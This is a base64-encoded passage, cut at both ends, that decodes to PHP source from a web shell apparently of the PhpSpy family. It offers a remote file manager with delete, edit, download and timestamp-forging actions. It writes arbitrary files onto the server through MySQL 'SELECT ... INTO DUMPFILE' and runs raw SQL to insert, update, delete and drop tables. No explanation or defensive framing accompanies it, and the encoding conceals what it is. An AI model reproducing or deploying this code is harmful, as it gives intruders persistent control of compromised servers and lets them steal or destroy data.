JTaXplOicuc2l6ZWNvdW50KCRkcml2ZS0+VG90YWxTaXplKS4nJiMxMztGcmVlOicuc2l6ZWNvdW50KCRkcml2ZS0+RnJlZVNwYWNlKS4nJiMxMztUeXBlOicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nIj4nLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJygnLiRkcml2ZS0+UGF0aC4nKTwvYT4nKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kZHJpdmUtPlBhdGguJy9cJyk7IiB0aXRsZT0iVHlwZTonLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJyI+Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLicoJy4kZHJpdmUtPlBhdGguJyk8L2E+Jyk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KDQoJcCgnPC90ZD48L3RyPjwvZm9ybT4nKTsNCg0KCXAoJzx0ciBjbGFzcz0iaGVhZCI+PHRkPiZuYnNwOzwvdGQ+PHRkPkZpbGVuYW1lPC90ZD48dGQgd2lkdGg9IjE2JSI+TGFzdCBtb2RpZmllZDwvdGQ+PHRkIHdpZHRoPSIxMCUiPlNpemU8L3RkPjx0ZCB3aWR0aD0iMjAlIj5DaG1vZCAvIFBlcm1zPC90ZD48dGQgd2lkdGg9IjIyJSI+QWN0aW9uPC90ZD48L3RyPicpOw0KDQoJLy+y6b+0y/nTJiMyODY7v8kmIzI4Nju0zsS8JiMzNTE7us3Ev8K8DQoJJGRpcmRhdGE9YXJyYXkoKTsNCgkkZmlsZWRhdGE9YXJyYXkoKTsNCg0KCWlmICgkdmlld193cml0YWJsZSkgew0KCQkkZGlyZGF0YSA9IEdldExpc3QoJG5vd3BhdGgpOw0KCX0gZWxzZSB7DQoJCS8vIMS/wrzBJiMyODY7se0NCgkJJGRpcnM9QG9wZW5kaXIoJGRpcik7DQoJCXdoaWxlICgkZmlsZT1AcmVhZGRpcigkZGlycykpIHsNCgkJCSRmaWxlcGF0aD0kbm93cGF0aC4kZmlsZTsNCgkJCWlmKEBpc19kaXIoJGZpbGVwYXRoKSl7DQoJCQkJJGRpcmRiWydmaWxlbmFtZSddPSRmaWxlOw0KCQkJCSRkaXJkYlsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZmlsZXBhdGgpKTsNCgkJCQkkZGlyZGJbJ2RpcmNobW9kJ109Z2V0Q2htb2QoJGZpbGVwYXRoKTsNCgkJCQkkZGlyZGJbJ2RpcnBlcm0nXT1nZXRQZXJtcygkZmlsZXBhdGgpOw0KCQkJCSRkaXJkYlsnZmlsZW93bmVyJ109Z2V0VXNlcigkZmlsZXBhdGgpOw0KCQkJCSRkaXJkYlsnZGlybGluayddPSRub3dwYXRoOw0KCQkJCSRkaXJkYlsnc2VydmVyX2xpbmsnXT0kZmlsZXBhdGg7DQoJCQkJJGRpcmRiWydjbGllbnRfbGluayddPXVlKCRmaWxlcGF0aCk7DQoJCQkJJGRpcmRhdGFbXT0kZGlyZGI7DQoJCQl9IGVsc2UgewkJDQoJCQkJJGZpbGVkYlsnZmlsZW5hbWUnXT0kZmlsZTsNCgkJCQkkZmlsZWRiWydzaXplJ109c2l6ZWNvdW50KEBmaWxlc2l6ZSgkZmlsZXBhdGgpKTsNCgkJCQkkZmlsZWRiWydtdGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRmaWxlcGF0aCkpOw0KCQkJCSRmaWxlZGJbJ2ZpbGVjaG1vZCddPWdldENobW9kKCRmaWxlcGF0aCk7DQoJCQkJJGZpbGVkYlsnZmlsZXBlcm0nXT1nZXRQZXJtcygkZmlsZXBhdGgpOw0KCQkJCSRmaWxlZGJbJ2ZpbGVvd25lciddPWdldFVzZXIoJGZpbGVwYXRoKTsNCgkJCQkkZmlsZWRiWydkaXJsaW5rJ109JG5vd3BhdGg7DQoJCQkJJGZpbGVkYlsnc2VydmVyX2xpbmsnXT0kZmlsZXBhdGg7DQoJCQkJJGZpbGVkYlsnY2xpZW50X2xpbmsnXT11ZSgkZmlsZXBhdGgpOw0KCQkJCSRmaWxlZGF0YVtdPSRmaWxlZGI7DQoJCQl9DQoJCX0vLyB3aGlsZQ0KCQl1bnNldCgkZGlyZGIpOw0KCQl1bnNldCgkZmlsZWRiKTsNCgkJQGNsb3NlZGlyKCRkaXJzKTsNCgl9DQoJQHNvcnQoJGRpcmRhdGEpOw0KCUBzb3J0KCRmaWxlZGF0YSk7DQoJJGRpcl9pID0gJzAnOw0KCWZvcmVhY2goJGRpcmRhdGEgYXMgJGtleSA9PiAkZGlyZGIpew0KCQlpZigkZGlyZGJbJ2ZpbGVuYW1lJ10hPScuLicgJiYgJGRpcmRiWydmaWxlbmFtZSddIT0nLicpIHsNCgkJCSR0aGlzYmcgPSBiZygpOw0KCQkJcCgnPHRyIGNsYXNzPSInLiR0aGlzYmcuJyIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnJy4kdGhpc2JnLidcJzsiPicpOw0KCQkJcCgnPHRkIHdpZHRoPSIyJSIgbm93cmFwPjxmb250IGZhY2U9IndpbmdkaW5ncyIgc2l6ZT0iMyI+MDwvZm9udD48L3RkPicpOw0KCQkJcCgnPHRkPjxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZGlyZGJbJ2ZpbGVuYW1lJ10uJzwvYT48L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nLiRkaXJkYlsnbXRpbWUnXS4nPC90ZD4nKTsNCgkJCXAoJzx0ZCBub3dyYXA+LS08L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZGlyZGJbJ2RpcmNobW9kJ10uJzwvYT4gLyAnKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZGlyZGJbJ2RpcnBlcm0nXS4nPC9hPicuJGRpcmRiWydmaWxlb3duZXInXS4nPC90ZD4nKTsNCgkJCXAoJzx0ZCBub3dyYXA+PGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkZWxkaXJcJyxcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyxcJ0FyZSB5b3Ugc3VyZSB3aWxsIGRlbGV0ZSAnLiRkaXJkYlsnZmlsZW5hbWUnXS4nPyBcXG5cXG5JZiBub24tZW1wdHkgZGlyZWN0b3J5LCB3aWxsIGJlIGRlbGV0ZSBhbGwgdGhlIGZpbGVzLlwnKSI+RGVsPC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6cmVuYW1lKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPlJlbmFtZTwvYT48L3RkPicpOw0KCQkJcCgnPC90cj4nKTsNCgkJCSRkaXJfaSsrOw0KCQl9IGVsc2Ugew0KCQkJaWYoJGRpcmRiWydmaWxlbmFtZSddPT0nLi4nKSB7DQoJCQkJcCgnPHRyIGNsYXNzPScuYmcoKS4nPicpOw0KCQkJCXAoJzx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJXaW5nZGluZ3MgMyIgc2l6ZT00Pj08L2ZvbnQ+PC90ZD48dGQgbm93cmFwIGNvbHNwYW49IjUiPjxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLmdldFVwUGF0aCgkbm93cGF0aCkuJ1wnKTsiPlBhcmVudCBEaXJlY3Rvcnk8L2E+PC90ZD4nKTsNCgkJCQlwKCc8L3RyPicpOw0KCQkJfQ0KCQl9DQoJfQ0KDQoJcCgnPHRyIGJnY29sb3I9IiNkZGRkZGQiIHN0bHllPSJib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNkZGQ7Ij48dGQgY29sc3Bhbj0iNiIgaGVpZ2h0PSI1Ij48L3RkPjwvdHI+Jyk7DQoJcCgnPGZvcm0gaWQ9ImZpbGVsaXN0IiBuYW1lPSJmaWxlbGlzdCIgYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0icG9zdCI+Jyk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsNCgltYWtlaGlkZSgndGhlZmlsZScpOw0KCW1ha2VoaWRlKCdkb2luZycpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCgkkZmlsZV9pID0gJzAnOw0KCWZvcmVhY2goJGZpbGVkYXRhIGFzICRrZXkgPT4gJGZpbGVkYil7DQoJCWlmKCRmaWxlZGJbJ2ZpbGVuYW1lJ10hPScuLicgJiYgJGZpbGVkYlsnZmlsZW5hbWUnXSE9Jy4nKSB7DQoJCQkkZmlsZXVybCA9IHN0cl9yZXBsYWNlKFNBX1JPT1QsJycsJGZpbGVkYlsnc2VydmVyX2xpbmsnXSk7DQoJCQkkdGhpc2JnID0gYmcoKTsNCgkJCXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsNCgkJCXAoJzx0ZCB3aWR0aD0iMiUiIG5vd3JhcD48aW5wdXQgdHlwZT0iY2hlY2tib3giIHZhbHVlPSIxIiBuYW1lPSJkbFsnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ10iPjwvdGQ+Jyk7DQoJCQlwKCc8dGQ+PGEgaHJlZj0iJy4kZmlsZXVybC4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kZmlsZWRiWydmaWxlbmFtZSddLic8L2E+PC90ZD4nKTsNCgkJCXAoJzx0ZCBub3dyYXA+Jy4kZmlsZWRiWydtdGltZSddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nLiRmaWxlZGJbJ3NpemUnXS4nPC90ZD4nKTsNCgkJCXAoJzx0ZCBub3dyYXA+Jyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVjaG1vZCddLic8L2E+IC8gJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVwZXJtJ10uJzwvYT4nLiRmaWxlZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZG93bmZpbGVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+RG93bjwvYT4gfCAnKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6Y29weWZpbGUoXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPkNvcHk8L2E+IHwgJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ2VkaXRmaWxlXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnJy4kZmlsZWRiWydkaXJsaW5rJ10uJ1wnKTsiPkVkaXQ8L2E+IHwgJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OnJlbmFtZShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+UmVuYW1lPC9hPiB8ICcpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpvcGZpbGUoXCduZXd0aW1lXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnJy4kZmlsZWRiWydkaXJsaW5rJ10uJ1wnKTsiPlRpbWU8L2E+Jyk7DQoJCQlwKCc8L3RkPjwvdHI+Jyk7DQoJCQkkZmlsZV9pKys7DQoJCX0NCgl9DQoJcCgnPHRyIGNsYXNzPSInLmJnKCkuJyI+PHRkIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiIC8+PC90ZD48dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkb3ducmFyXCcpOyI+UGFja2luZyBkb3dubG9hZCBzZWxlY3RlZDwvYT4gLSA8YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGZpbGVzXCcpOyI+RGVsZXRlIHNlbGVjdGVkPC9hPjwvdGQ+PHRkIGNvbHNwYW49IjQiIGFsaWduPSJyaWdodCI+Jy4kZGlyX2kuJyBkaXJlY3RvcmllcyAvICcuJGZpbGVfaS4nIGZpbGVzPC90ZD48L3RyPicpOw0KCXAoJzwvZm9ybT48L3RhYmxlPicpOw0KfS8vIGVuZCBkaXINCg0KZWxzZWlmICgkYWN0aW9uID09ICdzcWxmaWxlJykgew0KCWlmKCRkb2luZz09Im15c3FsdXBsb2FkIil7DQoJCSRmaWxlID0gJF9GSUxFU1sndXBsb2FkZmlsZSddOw0KCQkkZmlsZW5hbWUgPSAkZmlsZVsndG1wX25hbWUnXTsNCgkJaWYgKGZpbGVfZXhpc3RzKCRzYXZlcGF0aCkpIHsNCgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCcpOw0KCQl9IGVsc2Ugew0KCQkJaWYoISRmaWxlbmFtZSkgew0KCQkJCW0oJ1BsZWFzZSBjaG9vc2UgYSBmaWxlJyk7DQoJCQl9IGVsc2Ugew0KCQkJCSRmcD1AZm9wZW4oJGZpbGVuYW1lLCdyJyk7DQoJCQkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRmaWxlbmFtZSkpOw0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCQkkY29udGVudHMgPSBiaW4yaGV4KCRjb250ZW50cyk7DQoJCQkJaWYoISR1cG5hbWUpICR1cG5hbWUgPSAkZmlsZVsnbmFtZSddOw0KCQkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJCSRyZXN1bHQgPSBxKCJTRUxFQ1QgMHh7JGNvbnRlbnRzfSBGUk9NIG15c3FsLnVzZXIgSU5UTyBEVU1QRklMRSAnJHNhdmVwYXRoJzsiKTsNCgkJCQltKCRyZXN1bHQgPyAnVXBsb2FkIHN1Y2Nlc3MnIDogJ1VwbG9hZCBoYXMgZmFpbGVkOiAnLm15c3FsX2Vycm9yKCkpOw0KCQkJfQ0KCQl9DQoJfQ0KPz4NCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIG15c3FsZmlsZShkb2luZyl7DQoJaWYoIWRvaW5nKSByZXR1cm47DQoJJCgnZG9pbmcnKS52YWx1ZT1kb2luZzsNCgkkKCdteXNxbGZpbGUnKS5kYmhvc3QudmFsdWU9JCgnZGJpbmZvJykuZGJob3N0LnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLmRicG9ydC52YWx1ZT0kKCdkYmluZm8nKS5kYnBvcnQudmFsdWU7DQoJJCgnbXlzcWxmaWxlJykuZGJ1c2VyLnZhbHVlPSQoJ2RiaW5mbycpLmRidXNlci52YWx1ZTsNCgkkKCdteXNxbGZpbGUnKS5kYnBhc3MudmFsdWU9JCgnZGJpbmZvJykuZGJwYXNzLnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLmRibmFtZS52YWx1ZT0kKCdkYmluZm8nKS5kYm5hbWUudmFsdWU7DQoJJCgnbXlzcWxmaWxlJykuY2hhcnNldC52YWx1ZT0kKCdkYmluZm8nKS5jaGFyc2V0LnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLnN1Ym1pdCgpOw0KfQ0KPC9zY3JpcHQ+DQo8P3BocA0KCSEkZGJob3N0ICYmICRkYmhvc3QgPSAnbG9jYWxob3N0JzsNCgkhJGRidXNlciAmJiAkZGJ1c2VyID0gJ3Jvb3QnOw0KCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7DQoJJGNoYXJzZXRzID0gYXJyYXkoJyc9PidEZWZhdWx0JywnZ2JrJz0+J0dCSycsICdiaWc1Jz0+J0JpZzUnLCAndXRmOCc9PidVVEYtOCcsICdsYXRpbjEnPT4nTGF0aW4xJyk7DQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J01ZU1FMIEluZm9ybWF0aW9uJywnbmFtZSc9PidkYmluZm8nKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsNCglwKCc8cD4nKTsNCglwKCdEQkhvc3Q6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RiaG9zdCcsJ3NpemUnPT4yMCwndmFsdWUnPT4kZGJob3N0KSk7DQoJcCgnOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnBvcnQnLCdzaXplJz0+NCwndmFsdWUnPT4kZGJwb3J0KSk7DQoJcCgnREJVc2VyOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnVzZXInLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRidXNlcikpOw0KCXAoJ0RCUGFzczonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwYXNzJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnBhc3MpKTsNCglwKCdEQk5hbWU6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RibmFtZScsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJuYW1lKSk7DQoJcCgnREJDaGFyc2V0OicpOw0KCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nY2hhcnNldCcsJ29wdGlvbic9PiRjaGFyc2V0cywnc2VsZWN0ZWQnPT4kY2hhcnNldCkpOw0KCXAoJzwvcD4nKTsNCglmb3JtZm9vdCgpOw0KCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9Im15c3FsZmlsZSIgaWQ9Im15c3FsZmlsZSI+Jyk7DQoJcCgnPGgyPlVwbG9hZCBmaWxlPC9oMj4nKTsNCglwKCc8cD48Yj5UaGlzIG9wZXJhdGlvbiB0aGUgREIgdXNlciBtdXN0IGhhcyBGSUxFIHByaXZpbGVnZTwvYj48L3A+Jyk7DQoJcCgnPHA+U2F2ZSBwYXRoKGZ1bGxwYXRoKTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ic2F2ZXBhdGgiIHNpemU9IjQ1IiB0eXBlPSJ0ZXh0IiAvPiBDaG9vc2UgYSBmaWxlOiA8aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJ1cGxvYWRmaWxlIiB0eXBlPSJmaWxlIiAvPiA8YSBocmVmPSJqYXZhc2NyaXB0Om15c3FsZmlsZShcJ215c3FsdXBsb2FkXCcpOyI+VXBsb2FkPC9hPjwvcD4nKTsNCglwKCc8aDI+RG93bmxvYWQgZmlsZTwvaDI+Jyk7DQoJcCgnPHA+RmlsZTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ibXlzcWxkbGZpbGUiIHNpemU9IjExNSIgdHlwZT0idGV4dCIgLz4gPGEgaHJlZj0iamF2YXNjcmlwdDpteXNxbGZpbGUoXCdteXNxbGRvd25cJyk7Ij5Eb3dubG9hZDwvYT48L3A+Jyk7DQoJbWFrZWhpZGUoJ2RiaG9zdCcpOw0KCW1ha2VoaWRlKCdkYnBvcnQnKTsNCgltYWtlaGlkZSgnZGJ1c2VyJyk7DQoJbWFrZWhpZGUoJ2RicGFzcycpOw0KCW1ha2VoaWRlKCdkYm5hbWUnKTsNCgltYWtlaGlkZSgnY2hhcnNldCcpOw0KCW1ha2VoaWRlKCdkb2luZycpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxmaWxlJyk7DQoJcCgnPC9mb3JtPicpOw0KfQ0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ3NxbGFkbWluJykgew0KCSEkZGJob3N0ICYmICRkYmhvc3QgPSAnbG9jYWxob3N0JzsNCgkhJGRidXNlciAmJiAkZGJ1c2VyID0gJ3Jvb3QnOw0KCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7DQoJJGRiZm9ybSA9ICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iY29ubmVjdCIgbmFtZT0iY29ubmVjdCIgdmFsdWU9IjEiIC8+JzsNCglpZihpc3NldCgkZGJob3N0KSl7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYmhvc3RcIiBuYW1lPVwiZGJob3N0XCIgdmFsdWU9XCIkZGJob3N0XCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnVzZXIpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnVzZXJcIiBuYW1lPVwiZGJ1c2VyXCIgdmFsdWU9XCIkZGJ1c2VyXCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnBhc3MpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBhc3NcIiBuYW1lPVwiZGJwYXNzXCIgdmFsdWU9XCIkZGJwYXNzXCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnBvcnQpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBvcnRcIiBuYW1lPVwiZGJwb3J0XCIgdmFsdWU9XCIkZGJwb3J0XCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYm5hbWUpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYm5hbWVcIiBuYW1lPVwiZGJuYW1lXCIgdmFsdWU9XCIkZGJuYW1lXCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRjaGFyc2V0KSkgew0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiY2hhcnNldFwiIG5hbWU9XCJjaGFyc2V0XCIgdmFsdWU9XCIkY2hhcnNldFwiIC8+XG4iOw0KCX0NCg0KCWlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAkc2F2ZWFzZmlsZSkgew0KCQlpZiAoISR0YWJsZSkgew0KCQkJbSgnUGxlYXNlIGNob29zZSB0aGUgdGFibGUnKTsNCgkJfSBlbHNlIHsNCgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJJHRhYmxlID0gYXJyYXlfZmxpcCgkdGFibGUpOw0KCQkJJGZwID0gQGZvcGVuKCRwYXRoLCd3Jyk7DQoJCQlpZiAoJGZwKSB7DQoJCQkJJHJlc3VsdCA9IHEoJ1NIT1cgdGFibGVzJyk7DQoJCQkJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOw0KCQkJCSRteXNxbGRhdGEgPSAnJzsNCgkJCQl3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoJCQkJCWlmIChpc3NldCgkdGFibGVbJGN1cnJvd1swXV0pKSB7DQoJCQkJCQlzcWxkdW1wdGFibGUoJGN1cnJvd1swXSwgJGZwKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlmY2xvc2UoJGZwKTsNCgkJCQkkZmlsZXVybCA9IHN0cl9yZXBsYWNlKFNBX1JPT1QsJycsJHBhdGgpOw0KCQkJCW0oJ0RhdGFiYXNlIGhhcyBzdWNjZXNzIGJhY2t1cCB0byA8YSBocmVmPSInLiRmaWxldXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRwYXRoLic8L2E+Jyk7DQoJCQkJbXlzcWxfY2xvc2UoKTsNCgkJCX0gZWxzZSB7DQoJCQkJbSgnQmFja3VwIGZhaWxlZCcpOw0KCQkJfQ0KCQl9DQoJfQ0KCWlmICgkaW5zZXJ0ICYmICRpbnNlcnRzcWwpIHsNCgkJJGtleXN0ciA9ICR2YWxzdHIgPSAkdG1wID0gJyc7DQoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsNCgkJCWlmICgkdmFsKSB7DQoJCQkJJGtleXN0ciAuPSAkdG1wLiRrZXk7DQoJCQkJJHZhbHN0ciAuPSAkdG1wLiInIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsNCgkJCQkkdG1wID0gJywnOw0KCQkJfQ0KCQl9DQoJCWlmICgka2V5c3RyICYmICR2YWxzdHIpIHsNCgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJbShxKCJJTlNFUlQgSU5UTyAkdGFibGVuYW1lICgka2V5c3RyKSBWQUxVRVMgKCR2YWxzdHIpIikgPyAnSW5zZXJ0IG5ldyByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsNCgkJfQ0KCX0NCglpZiAoJHVwZGF0ZSAmJiAkaW5zZXJ0c3FsICYmICRiYXNlNjQpIHsNCgkJJHZhbHN0ciA9ICR0bXAgPSAnJzsNCgkJZm9yZWFjaCgkaW5zZXJ0c3FsIGFzICRrZXkgPT4gJHZhbCkgew0KCQkJJHZhbHN0ciAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsNCgkJCSR0bXAgPSAnLCc7DQoJCX0NCgkJaWYgKCR2YWxzdHIpIHsNCgkJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7DQoJCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsNCgkJCW0ocSgiVVBEQVRFICR0YWJsZW5hbWUgU0VUICR2YWxzdHIgV0hFUkUgJHdoZXJlIExJTUlUIDEiKSA/ICdSZWNvcmQgdXBkYXRpbmcnIDogbXlzcWxfZXJyb3IoKSk7DQoJCX0NCgl9DQoJaWYgKCRkb2luZyA9PSAnZGVsJyAmJiAkYmFzZTY0KSB7DQoJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7DQoJCSRkZWxldGVfc3FsID0gIkRFTEVURSBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJHdoZXJlIjsNCgkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7DQoJCW0ocSgiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUiKSA/ICdEZWxldGlvbiByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsNCgl9DQoNCglpZiAoJHRhYmxlbmFtZSAmJiAkZG9pbmcgPT0gJ2Ryb3AnKSB7DQoJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQlpZiAocSgiRFJPUCBUQUJMRSAkdGFibGVuYW1lIikpIHsNCgkJCW0oJ0Ryb3AgdGFibGUgb2Ygc3VjY2VzcycpOw0KCQkJJHRhYmxlbmFtZSA9ICcnOw0KCQl9IGVsc2Ugew0KCQkJbShteXNxbF9lcnJvcigpKTsNCgkJfQ0KCX0NCg0KCSRjaGFyc2V0cyA9IGFycmF5KCcnPT4nRGVmYXVsdCcsJ2diayc9PidHQksnLCAnYmlnNSc9PidCaWc1JywgJ3V0ZjgnPT4nVVRGLTgnLCAnbGF0aW4xJz0+J0xhdGluMScpOw0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J01ZU1FMIE1hbmFnZXInKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJcCgnPHA+Jyk7DQoJcCgnREJIb3N0OicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYmhvc3QnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+